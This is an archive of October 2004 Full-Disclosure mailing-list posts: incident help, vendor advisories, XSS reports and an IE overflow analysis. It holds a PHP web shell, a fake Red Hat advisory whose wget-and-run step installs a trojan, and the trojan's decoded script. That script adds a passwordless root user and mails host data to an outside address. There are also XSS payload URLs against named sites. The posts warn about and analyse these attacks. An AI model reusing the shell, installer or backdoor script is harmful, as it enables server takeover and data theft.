http://xpire.info/install.gz // some trojan/malware ???? my NortonAV
does not catch it; it's a Windows-EXE
This is the sample of PHP-Injection page:
<?
$OS = system('uname -a');
$X = system('ls -la /usr/bin/X11/X');
echo "<OS>".$OS."</OS><br>";
echo "<X>".$X."</X>";
?>
<form action="<?=$REQUEST_URI;?>" method=POST>
<input type=text name=lox value='<?=$lox;?>' size=40><br>
<input type=submit>
</form>
<pre>
<xmp>
<?=system($lox);?>
</xmp>
</pre>
Using PHP "system" call, it possible to execute any remote command, like
WGET for example.
Anyone knows before this page???
> I assume you used a bootable CD on the infected machine to do the
checksums?
Unfortunately (I know that this is a *must* for a good analysis) I'm doing
the check remotely,
using SSH, so I cannot use a bootable CD to connect at this remote host very
far from me :)
I'm limited in the analysis.....but the host is not mine!
However I think that md5um give me good results, because I compared all the
/usr/sbin directory
and all the checksum were good, except for /usr/sbin/crond......any ideas???
I used also "rpm -Vf" utility to cross check results, and were the same of
md5sum.
> Check the httpd.conf (and other apache configuration files) for any
> changes, and also the contents of each module loaded. It's also
> possilble, but less likely, that the injection is done in a kernel
> module.
It's my fear :(((((((((( I studied all *.conf related to Apache/PHP modules
of this
machine, but nothing was found. A LKM injected could be the only response.
I also ran "chkrootkit" as someone suggest to me, but all the test give
positive answer
(no worm, no rootkit, no trojan)
> Sounds like a good time to replace the entire server with a fresh build.
Actually my work will finish when this activity will begin :))))))
Thank you for the help, Kevin.
EF
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[Full-Disclosure] [ GLSA 200410-23 ] Gaim: Multiple vulnerabilities
From: Matthias Geerdsen (vorlon
gentoo.org)
Date: Sun Oct 24 2004 - 14:11:17 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200410-23
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: Gaim: Multiple vulnerabilities
Date: October 24, 2004
Bugs: #68271
ID: 200410-23
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in Gaim which could allow a
remote attacker to crash the application, or possibly execute
arbitrary code.
Background
==========
Gaim is a full featured instant messaging client which handls a variety
of instant messaging protocols.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-im/gaim < 1.0.2 >= 1.0.2
Description
===========
A possible buffer overflow exists in the code processing MSN SLP
messages (CAN-2004-0891). memcpy() was used without validating the size
of the buffer, and an incorrect buffer was used as destination under
certain circumstances. Additionally, memory allocation problems were
found in the processing of MSN SLP messages and the receiving of files.
These issues could lead Gaim to try to allocate more memory than
available, resulting in the crash of the application.
Impact
======
A remote attacker could crash Gaim and possibly execute arbitrary code
by exploiting the buffer overflow.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Gaim users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=net-im/gaim-1.0.2"
# emerge ">=net-im/gaim-1.0.2"
References
==========
[ 1 ] CAN-2004-0891
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0891
[ 2 ] Gaim Security Issues
http://gaim.sourceforge.net/security/
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200410-23.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security
gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/1.0
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[Full-Disclosure] Mozilla Thunderbird 0.8 / Firefox 0.9.3 temporary files (local)
From: Martin (broadcast
ptraced.net)
Date: Sun Oct 24 2004 - 16:09:05 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Advisory attached.
Mozilla Thunderbird 0.8 / Firefox 0.9.3 temporary files (local)
Martin (broadcast
ptraced.net)
-------------------
Program Description
-------------------
"Thunderbird, our latest email program, includes intelligent spam
filters, spell-checking, security, customization, and newsgroups
support."
www.mozilla.org
-------------------
Problem Description
-------------------
When opening an attachment, or a link included in an email, Thunderbird
prompts the user with a dialog box, giving the choice to "Save to Disk"
or to "Open with" <default program>.
For example, we receive a PDF document attached, and on the Attachments
section, we choose "Open".
broadcast:/tmp$ ls -l *.pdf
-rw------- 1 broadcast broadcast 2002560 2004-10-24 18:38 wskbq43m.pdf
While the dialog box is still open, the file permissions are OK, and the
filename is random (except for the extension).
If we choose to save it to disk, and check /tmp again:
broadcast:/tmp$ ls -l *.pdf
ls: *.pdf: No such file or directory
Great, it's gone. Now let's choose to open it with the default viewer
(in my case, xpdf).
Again, while the dialog box is open, there are no apparent problems.
broadcast:/tmp$ ls -l *.pdf
-rw------- 1 broadcast broadcast 2002560 2004-10-24 18:42 hp1h30si.pd
But after choosing to open it with xpdf:
broadcast:/tmp$ ls -l *.pdf
-rw-r--r-- 1 broadcast broadcast 2002560 2004-10-24 18:42 programming.pdf
The file becomes world readable, until the user closes xpdf, or whatever
application he chose to read the attachment.
Also, the filename becomes predictable, but if the filename already
exists on /tmp, Thunderbird will choose a similar filename, and won't
work on the existing one.
This exact issue affects Mozilla Firefox 0.9.3. I haven't tested
older/newer versions, and all of this was tested under Debian Unstable.
A copy of this advisory and future updates on this issue may be found on:
http://broadcast.ptraced.net/advisories/008-firefox.thunderbird.txt
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RE: [Full-Disclosure] Help, possible rootkit
From: RandallM (randallm
fidmail.com)
Date: Sun Oct 24 2004 - 16:41:21 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Billy said:
--__--__--
Message: 1
From: "BillyBob" <billybobknob
hotmail.com>
To: "Full Disclosure" <full-disclosure
lists.netsys.com>
Date: Sat, 23 Oct 2004 13:05:29 -0300
Subject: [Full-Disclosure] Help, possible rootkit
I have noticed that my XP system is behaving like I have a rootkit.
-- -- --
__ __
Billy,
1. Go directly to safe-mode
2. go to regedit and check start up processes in computer and user and
research each unfamiliar
3. run hijack this program
4. run spybot
5. upon start up use tcp-view and process viewer from sysinteral.com to see
connections
One person made mention of this once when I had this problem on a sales
laptop:
"If you have scripting enabled, it is possible that one of them is doing
this in the background. Scripts can remain active after you have left
the page that started them.
Some PC programmers tend to use "busy waits" instead of calling a
sleep() or hibernate() function. This tends to kill performance on
multiuser systems."
Optical mice also don't work well with certain colored pads and such. Make
sure you try
A different surface.
Also of course clean the area very well. A piece of hair can cause problems.
Just some quick thoughts
thank you
Randall M
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[Full-Disclosure] XSS vulnerabilities in several german communities + aol search
From: Habonator _ (habonator
gmail.com)
Date: Sun Oct 24 2004 - 16:59:26 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
I've discovered XSS bugs in several big german communities.
All these communities use a cookie based authentification so its
possible to inject script code to steal users cookies.
All vendors have been informed.
1. giga.de - NBC GIGA Community
*************
Affected:
Whole Comment-System
Example:
http://www.giga.de/news/comments/index.php?id=XXXXXX&newstypid=XXXXX"><script>alert("foo");</script><form%20"
2. pcwelt.de - Community of the PC-WELT - Magazine
*************
Affected:
Search
Example:
http://www.pcwelt.de/index.cfm?pid=XXX&stichwort=<script>alert("foo");</script>
3. autoscout24.de - online car market
*************
Affected:
All offering sites
Example:
http://www.autoscout24.de/home/index/detail.asp?ts=XXXXXXX"><script>alert("foo");</script><form%20"&source=topcar&id=XXXXXXXXXXX
Last but not least, not a community but a funny one:
http://suche.aol.de/suche/search.jsp?q=%3Cscript%3Ealert%28%27foo%27%29%3B%3C%2Fscript%3E&wo=
**************************
Discovered by "Habonator"
At home at http://www.hackerboard.de
Hi to tripbit.
**************************
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[Full-Disclosure] Re: Any update on SSH brute force attempts?
From: Jay Libove (libove
felines.org)
Date: Sun Oct 24 2004 - 17:11:04 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hi Miriam -
I have not attempted any type of automated blocking, as the attack profile
appears to not present a threat to systems with reasonably good passwords.
(I'm being a little lax about this, I realize).
What I have seen, in terms of the sources, intensity, and frequency of the
attempts, matches what you reported - where the attempts come from varies
every time, the number of different accounts that each attempt goes after
varies greatly, and while I may see attempts from two different source IP
addresses on one night, it may then be several days before I see any other
attempts at all.
I therefore agree that it does not appear to be any kind of widespread
worm/virus, but instead manually launched. I guess that the targeting
(what IP address[es] the attempts are made against) is random.
Thanks
-Jay
> Message: 17
> Date: Sun, 24 Oct 2004 09:43:17 +0800
> From: Miriam Chan <miriamchan
geocities.com>
> To: full-disclosure
lists.netsys.com
> Subject: [Full-Disclosure] Re: Any update on SSH brute force attempts?
>
> Jay Libove wrote:
> > Recently, a couple of times a week, I see repeats of this which now have
> > as many as fifty different accounts being attacked. (Almost none of which
> > exist on my server, and none of which will have common passwords
> > thankyouverymuch).
>
> By the way, I started to suspect that the attacks were intentional (not just
> some games by some script kiddies.) I had some servers accepting SSH
> connections from anywhere (this is for easy access, and I know it is not
> a very good idea.)
>
> Before I set up a Portsentry-like mechanism to block the bad hosts, I got at
> least 5-6 attempts per day. Afterward, I got nearly none (just some 1-2
> attempts a day.) The change looks simply too much for me. If I got some
> number of attacks a day, I would expect the same number of attacks the next
> day if the attackes were automatically done by some virus/worms. I wished that
> it was done by some virus, because (I think) a virus is not more malicious
> than a planned cracking behaviour.
>
> Do anyone have the same observations as me ? It should be great if you saw
> it and shared your ideas.
>
> Miriam.
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[Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Hugo van der Kooij (hvdkooij
vanderkooij.org)
Date: Sun Oct 24 2004 - 17:59:18 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
Be advised.
The message below is currently going around on internet. Being unsinged
was the fist obvious issue. Not pointing to RPM updates, being in a
different format and such were among the other reasong to suspect it.
Message was send from 'University of Texas at Arlington'.
I am sure none of you should be fooled by such a message but other might
be.
And while it lasts you may want to get the file for your own educational
purposes.
Hugo.
- ---------- Forwarded message ----------
Date: Sun, 24 Oct 2004 17:22:20 -0500
From: RedHat Security Team <security
redhat.com>
To: *****************
Subject: RedHat: Buffer Overflow in "ls" and "mkdir"
[logo_rh_home.png]
Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat
A complete revision history is at the end of this file.
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could
allow a remote attacker to execute arbitrary code with root privileges.
Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
known that *BSD and Solaris platforms are NOT affected.
The RedHat Security Team strongly advises you to immediately apply the
fileutils-1.0.6 patch. This is a critical-critical update that you must
make by following these steps:
* First download the patch from the Security RedHat mirror: wget
www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
* ./inst
Again, please apply this patch as soon as possible or you risk your
system and others` to be compromised.
Thank you for your prompt attention to this serious matter,
RedHat Security Team.
Copyright (C) 2004 Red Hat, Inc. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)
iQCVAwUBQXwzy6YKnAPlJw4JAQEdiQP/Q9joitf0xM69z6AvkMA0gjumokNccKB7
OQk+wDNpPYz881/BuycJ15Oory1+zIFiFyVJr7S0CYcQsZLFkeAQaGGNFj6PpHQo
H6u5QdRLoK1qWLethUSa73edjEYCwpTtVlFnCuPYRVqMtFKSooLXMSS/2SV9H8pL
fcdKycT5D9E=
=/nEk
-----END PGP SIGNATURE-----
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Re: [Full-Disclosure] xpire.info & splitinfinity.info - exploits in the wild
From: Nick FitzGerald (nick
virus-l.demon.co.uk)
Date: Sun Oct 24 2004 - 18:24:47 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Elia Florio wrote:
> > I'm not sure that qmail-inject isn't a red herring? The actual
> > download looks like 'wget' was used.
> Good suggestion, my friend :)
>
> It was used WGET to retrieve the http://xpire.info/cli.gz connectback shell.
More specifically, from the strings in the binary it looks awfully like
sd's bindtty -- try Googling for "bindtty.c"...
The possible bad news is that bindtty is used in the suckit rootkit, so
your remote-only access may cause major (if not insurmountable)
problems to doing a half-useful diagnosis...
<<big snip>>
> The hacker page used to accomplish the injection are based on this
> test-page, taken directly on the hacker-site :-)
>
> http://xpire.info/s/2
> http://xpire.info/s/
>
> I notice that this site is full of trojan/backdoor/shell/worm/exploit and
> other malware....why is it still open?
You'd be surprised how few folk actually compain about a lot of these
sites. Compound that with the rate of incompetence at many small (and
even many not-so-small) ISPs, where the very thin margins mean they
don't have time (and seldom good enough staff anyway) to analyse such
complaints, and where the emphasis is often more on making sure they
get their $10, $20, $40, etc this month from that customer, and many
such sites stay up way too long. The way to break such sites is for
some "authority" to contact them (a CERT, law enforcement, etc) or
"enough" polite, professional, clearly technically competent but not
overly technical complaints explaining what the site is being used for
and why it should be shut down. Of course, often the "base" sites are
themselves simply just ill-maintained systems that have, themselves,
been hacked and if all the ISP is up to doing is closing the apparently
rogue site/account, or simply removing the "offending content" the site
(and others similarly hosted on the still badly maintained servers)
remains open to further, similar abuse.
Regards,
Nick FitzGerald
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Re: [Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Harry Hoffman (hhoffman
ip-solutions.net)
Date: Sun Oct 24 2004 - 18:51:09 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
haha, that's pretty funny. If they were going to do something like that
it should have at least been in a rpm format.
I'm hoping that this doesn't need to be said but if neither
"yum check-update || up2date -l" report anything then chances are there
are no "Official Fedora Updates"
--Harry
Hugo van der Kooij wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
>
> Be advised.
>
> The message below is currently going around on internet. Being unsinged
> was the fist obvious issue. Not pointing to RPM updates, being in a
> different format and such were among the other reasong to suspect it.
>
> Message was send from 'University of Texas at Arlington'.
>
> I am sure none of you should be fooled by such a message but other might
> be.
>
> And while it lasts you may want to get the file for your own educational
> purposes.
>
> Hugo.
> - ---------- Forwarded message ----------
> Date: Sun, 24 Oct 2004 17:22:20 -0500
> From: RedHat Security Team <security
redhat.com>
> To: *****************
> Subject: RedHat: Buffer Overflow in "ls" and "mkdir"
>
>
> [logo_rh_home.png]
>
> Original issue date: October 20, 2004
> Last revised: October 20, 2004
> Source: RedHat
>
> A complete revision history is at the end of this file.
>
> Dear RedHat user,
>
> Redhat found a vulnerability in fileutils (ls and mkdir), that could
> allow a remote attacker to execute arbitrary code with root privileges.
> Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
> RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
> known that *BSD and Solaris platforms are NOT affected.
>
> The RedHat Security Team strongly advises you to immediately apply the
> fileutils-1.0.6 patch. This is a critical-critical update that you must
> make by following these steps:
>
> * First download the patch from the Security RedHat mirror: wget
> www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
> * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
> * cd fileutils-1.0.6.patch
> * make
> * ./inst
>
> Again, please apply this patch as soon as possible or you risk your
> system and others` to be compromised.
>
> Thank you for your prompt attention to this serious matter,
>
> RedHat Security Team.
>
> Copyright (C) 2004 Red Hat, Inc. All rights reserved.
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.3 (GNU/Linux)
>
> iQCVAwUBQXwzy6YKnAPlJw4JAQEdiQP/Q9joitf0xM69z6AvkMA0gjumokNccKB7
> OQk+wDNpPYz881/BuycJ15Oory1+zIFiFyVJr7S0CYcQsZLFkeAQaGGNFj6PpHQo
> H6u5QdRLoK1qWLethUSa73edjEYCwpTtVlFnCuPYRVqMtFKSooLXMSS/2SV9H8pL
> fcdKycT5D9E=
> =/nEk
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
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Re: [Full-Disclosure] Crypto and Primes
From: Janusz A. Urbanowicz (alex
bofh.net.pl)
Date: Sun Oct 24 2004 - 19:46:47 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, Oct 22, 2004 at 02:31:28PM -0700, Daniel Sichel wrote:
> Depending on how rigourous you are being, the large in large numbers is
> a relative term. I know from talking to someone who has worked in for
> real government crypto that there is enough storage space to create a
> lookup db of a good chunk (if not all) of the PGP crypto keys in use for
> common key sizes (512 and 1024). I doubt SSL is less vulnerable. I guess
> there's force, brute force, and brute force with taxpayer dollars.
This is disinfo, or, misunderstanding. Some sources DO report existence of
such lookup tables used for DES, and this could be extended to other
ciphers, like meet-in-the-middle lookup tables for 3DES. But as others
pointed, for primes, this would be... unwieldy.
Alex
--
0x46399138
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Janusz A. Urbanowicz (alex
bofh.net.pl)
Date: Sun Oct 24 2004 - 19:41:15 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, Oct 22, 2004 at 04:30:36PM -0600, twebster
daksoft.com wrote:
> openssl encryption and decryption,
>
> encrypt
> openssl enc <cipher> -e -in filename.txt -out filename.enc
> openssl enc -aes-256-cfb -e -in filename.txt -out filename.enc
>
>
> decrypt
> openssl enc <cipher> -d -in filename.enc -out filename.txt
> openssl enc -aes-256-cfb -d -in filename.enc -out filename.txt
it is still better use gpg in -c mode as it does proper key hashing from
passphrase
a
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Re: [Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Andrew Farmer (andfarm
teknovis.com)
Date: Sun Oct 24 2004 - 20:18:41 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hugo van der Kooij wrote:
> Be advised.
> The message below is currently going around on internet. Being unsinged
> was the fist obvious issue. Not pointing to RPM updates, being in a
> different format and such were among the other reasong to suspect it.
> Message was send from 'University of Texas at Arlington'.
> I am sure none of you should be fooled by such a message but other
> might
> be.
> And while it lasts you may want to get the file for your own
> educational
> purposes.
<snip>
I did a quickie analysis of the program (which is basically just
distributed as source!).
Strings are encrypted with arcfour; however, as the keys are included
too, decrypting them is no problem.
pswd[] is an initialization vector for arcfour.
shll[] decodes to: /bin/sh
inlo[] decodes to: -c
xecc[] decodes to: exec '%s' "$
"
lsto[] decodes to a null string.
chk1[] decodes to: KTZE4lIVf7i4BR
opts[], text[], and chk2[] are encrypted with some (apparently
constant) data retrieved by statting /bin/sh.
To cut to the chase, the whole thing ends up clearing the screen and
running the following shell script:
> #!/bin/sh
> cd /tmp/
> clear
> if [ `id -u` != "0" ]
> then
> echo "This patch must be applied as \"root\", and you are:
> \"`whoami`\""
> exit
> fi
> echo "Identifying the system. This may take up to 2 minutes. Please
> wait ..."
> sleep 3
> if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
> echo "Inca un root frate belea: " >> /tmp/mama
> adduser -g 0 -u 0 -o bash >> /tmp/mama
> passwd -d bash >> /tmp/mama
> ifconfig >> /tmp/mama
> uname -a >> /tmp/mama
> uptime >> /tmp/mama
> sshd >> /tmp/mama
> echo "user bash stii tu" >> /tmp/mama
> cat /tmp/mama | mail -s "Inca o roata" root
addlebrain.com >>
> /dev/null
> rm -rf /tmp/mama
> mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
> fi
>
> bla()
> {
> sleep 2
> echo -n "#"
> sleep 1
> echo -n "#"
> sleep 1
> echo -n "#"
> sleep 2
> echo -n "#"
> sleep 1
> echo -n "#"
> sleep 1
> echo -n "#"
> sleep 3
> echo -n "#"
> sleep 1
> echo -n "#"
> sleep 4
> echo -n "#"
> sleep 1
> echo -n "#"
> sleep 1
> echo "#"
> sleep 1
> }
>
> echo "System looks OK. Proceeding to next step."
> sleep 1
> echo
> echo -n "Patching \"ls\": "
> bla
> echo -n "Patching \"mkdir\": "
> bla
> echo
> echo "System updated and secured successfuly. You may erase these
> files."
> sleep 1
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InTx2SYpJOGhQxE17Nf4WZg=
=jaVu
-----END PGP SIGNATURE-----
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Re: [Full-Disclosure] python does mangleme (with IE bugs!)
From: Berend-Jan Wever (skylined
edup.tudelft.nl)
Date: Sun Oct 24 2004 - 20:55:10 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hi all, here's my analysis of these bugs:
2445.html does nothing on my win2ksp4en/ie6.0sp1. (IE does crash when you load it because the META refresh tag leads to 2446.html.)
2446.html contains an exploitable BoF in the IFRAME tag using the SRC and NAME property. To trigger the BoF you only need this tag in a HTML file:
<IFRAME SRC=AAAAAAAAAAAA.... NAME="BBBBBBBBBBB....">
Exactly why or how it happens, I do not know yet. I do know you can control EAX, after which this gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
7178EC04 68 847B7071 PUSH SHDOCVW.71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Control over EAX leads to control over ECX, which you can use to control EIP: Remote Command Execution.
They'd better patch this one quickly, a reliable working exploit shouldn't take more then a day to code.
Cheers,
SkyLined
----- Original Message -----
From: "ned" <nd
felinemenace.org>
To: <bugtraq
securityfocus.com>
Cc: <full-disclosure
lists.netsys.com>; <lcamtuf
ghettot.org>
Sent: Sunday, October 24, 2004 06:36
Subject: [Full-Disclosure] python does mangleme (with IE bugs!)
> i've made a port of mangleme:
> http://felinemenace.org/~nd/htmler.py
> with a few extra quirks (such as file extentions/url types)
>
> it finds IE bugs after roughly 2.5 -> 3 hours and they are at:
> http://felinemenace.org/~nd/crash_ie/
>
> They are not the null pointer dereference that Michal found (which
> curiously seems to not own my 6.0.2800.1106.xpsp1?) but some other
> probably non-exploitable problems!
>
> htmler.py doesn't use CGI like mangleme but generates webpages in the
> directory 'html1' numbered 0.html to n.html. 0.html then uses a refresh to
> load 1.html and so on with little user interaction required!
>
> anyway, if you find bugs with it, don't sell to anyone/notify vendors!
> - nd
>
> --
> http://felinemenace.org/~nd - "eat a duck"
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
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Re: [Full-Disclosure] Windows Time Synchronization - Best Practices
From: Gary E. Miller (gem
rellim.com)
Date: Sun Oct 24 2004 - 20:48:07 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Yo Michael!
On Fri, 22 Oct 2004, Micheal Espinola Jr wrote:
> You can certainly have multiple time servers specified with Windows
> Time Service (SNTP). RTM. It has the ability to failover through a
> list.
Yes you can have multiple time servers, but only one active at a time.
With NTP your client polls a number of diverse servers. Routes can
flap, servers can go wacko, but your time stays solid.
> If you need the full features of NTP, by all means use a third party
> daemon. However, in keeping my routers, RADIUS, and Kerberos sync'd
> properly - I have yet to require anything that SNTP is unable to
> provide.
So I agree it is not always required, but when those devices support
native SNTP why not use the best?
A lot of services are dependent on linear time. NTP will usually slew
the local host time to the correct value, SNTP will in usually jump
time to the correct value. This can cause things like cron daemons
to miss scheduled events. I have seen this cause problems.
BTW, A Cisco router makes a dandy low-latency local NTP time server.
> I've never heard of time.microsoft.com, and have never seen any
> indication in any documentation to ever suggest using it. MS's docs
> have always suggested US naval observatory sites (since the
> documentation is US-based).
Just read all the w32time KB articles and the only time server
mentioned with a FQDN is time.miscrosoft.com.
Even the usno NTP has gone bonkers. Not dead, bonkers. So failover
never occured. Folks that synced to it and other servers with NTP
had no issues. Those that used it solely were SOL.
> I missed something. Why would the requester time sync to Seattle, WA
> USA if they are in Brazil? That certainly goes against NTP RFC's,
> regardless of any suggestions of the use of time.microsoft.com.
Cause that is the only time server mentioned by FQDN in the M$ KB.
> I have used 3rd party daemons as well as the built-in SNTP. Both work
> equally well. The built-in tools can work just fine if you understand
> the components and know how to properly use them. There is more
> functionality available than what is simply represented by NET TIME.
> Again, its a matter of RTM.
Well, I RTM the SNTP RFC and it says only to use STNP on local nets at
the end nodes. YMMV.
RGDS
GARY
- ---------------------------------------------------------------------------
Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
gem
rellim.com Tel:+1(541)382-8588 Fax: +1(541)382-8676
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[Full-Disclosure] STG Security Advisory: [SSA-20041022-08] MoniWiki XSS vulnerability
From: SSR Team (advisory
stgsecurity.com)
Date: Sun Oct 24 2004 - 21:02:20 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
STG Security Advisory: [SSA-20041022-08] MoniWiki XSS vulnerability
Revision 1.0
Date Published: 2004-10-22 (KST)
Last Update: 2004-10-22
Disclosed by SSR Team (advisory
stgsecurity.com)
Summary
========
MoniWiki is a wiki web application used by many Korean Linux users.
It has a cross site scripting vulnerability.
Vulnerability Class
===================
Implementation Error: Input validation flaw
Details
=======
Due to an input validation flaw, the MoniWiki is vulnerable to cross site
scripting attacks.
http://[victim]/wiki.php/<script>alert("XSS Vulnerability exists")</script>
Impact
======
Medium: Malicious attackers can inject and execute arbitrary script code in
a user's browser session in context of an affected site.
Solution
=========
Update to MoniWiki 1.0.9
Affected Products
================
MoniWiki 1.0.8 and prior
Vendor Status: FIXED
=======================
2004-09-30 Vulnerability found.
2004-09-30 MoniWiki developer notified.
2004-10-21 MoniWiki 1.0.9 released.
2004-10-22 Official release.
Credits
======
Jeremy Bae at STG Security
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=Sf9j
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] STG Security Advisory: [SSA-20041022-08] MoniWiki XSS vulnerability
From: SSR Team (advisory
stgsecurity.com)
Date: Sun Oct 24 2004 - 20:56:55 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
STG Security Advisory: [SSA-20041022-08] MoniWiki XSS vulnerability
Revision 1.0
Date Published: 2004-10-22 (KST)
Last Update: 2004-10-22
Disclosed by SSR Team (advisory
stgsecurity.com)
Summary
========
MoniWiki is a wiki web application used by many Korean Linux users.
It has a cross site scripting vulnerability.
Vulnerability Class
===================
Implementation Error: Input validation flaw
Details
=======
Due to an input validation flaw, the MoniWiki is vulnerable to cross site
scripting attacks.
http://[victim]/wiki.php/<script>alert("XSS Vulnerability exists")</script>
Impact
======
Medium: Malicious attackers can inject and execute arbitrary script code in
a user's browser session in context of an affected site.
Solution
=========
Update to MoniWiki 1.0.9
Affected Products
================
MoniWiki 1.0.8 and prior
Vendor Status: FIXED
=======================
2004-09-30 Vulnerability found.
2004-09-30 MoniWiki developer notified.
2004-10-21 MoniWiki 1.0.9 released.
2004-10-22 Official release.
Credits
======
Jeremy Bae at STG Security
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=Ns3M
-----END PGP SIGNATURE-----
_______________________________________________
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Re: [Full-Disclosure] Possibly a stupid question RPC over HTTP
From: Kyle Maxwell (krmaxwell
gmail.com)
Date: Sun Oct 24 2004 - 22:30:13 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, 22 Oct 2004 14:50:23 +0100, Airey, John <john.airey
rnib.org.uk> wrote:
> > -----Original Message-----
> > From: Kyle Maxwell [mailto:krmaxwell
gmail.com ]
> > I think you may mean something slightly differently; given any large
> > prime p, I can factor it completely extremely quickly:
> >
> > p = 1 * p
> >
> > There are no other factors; this *is* the prime factorization. :) Bill
>
> Oh no, the whole security of computing has just fallen over, since you've shown that primes don't exist. What next, proving that black is white and getting run over on a zebra crossing?
>
> A prime is defined as being divisible by itself and 1 only, so for the purpose of the definition, 1 is not a factor.
<flame>
I was trying to give you the benefit of the doubt in my explanation,
but your response makes it clear that you're not thinking straight. By
your (almost correct) definition of prime, the factorization is
trivial! And yes, 1 is a factor. If you can break the prime into ANY
other factors, then it's NOT a prime.
You're talking about solving a problem that DOESN'T EXIST BY
DEFINITION. Re-read my response -- this time without being stupid --
and you'll see that I was trying to explain to you that the problem is
the general factoring of large numbers (into primes for what should be
obvious reasons). This is NOT the same as factoring large primes as
that's a solved problem. If this is still difficult to understand, any
handy grade-school maths book should provide additional explanation.
Testing for primality, which is a related but different problem, is
solved, but proving that a number is composite is unfortunately not
the same as knowing its factors.
</flame>
As to the question of whether this is a solved problem: we may have to
agree to disagree; if it were the NSA, given their past interactions
with the crypto community, I think it likely that they'd have over
time moved to another type of cryptography. BTW, brute forcing a key
does not break the system -- and as others have shown in this thread,
it's impossible to precompute all the keys unless you've broken every
single PRNG out there, and that's even less likely.
--
Kyle Maxwell
[krmaxwell
gmail.com]
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Re: [Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Vincent Archer (var
deny-all.com)
Date: Mon Oct 25 2004 - 04:01:53 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Sun, Oct 24, 2004 at 07:51:09PM -0400, Harry Hoffman wrote:
> haha, that's pretty funny. If they were going to do something like that
> it should have at least been in a rpm format.
Considering you can put an executable script inside, if I remember right.
> I'm hoping that this doesn't need to be said but if neither
> "yum check-update || up2date -l" report anything then chances are there
> are no "Official Fedora Updates"
>
> --Harry
>
>
>
> Hugo van der Kooij wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >Be advised.
> >
> >The message below is currently going around on internet. Being unsinged
> >was the fist obvious issue. Not pointing to RPM updates, being in a
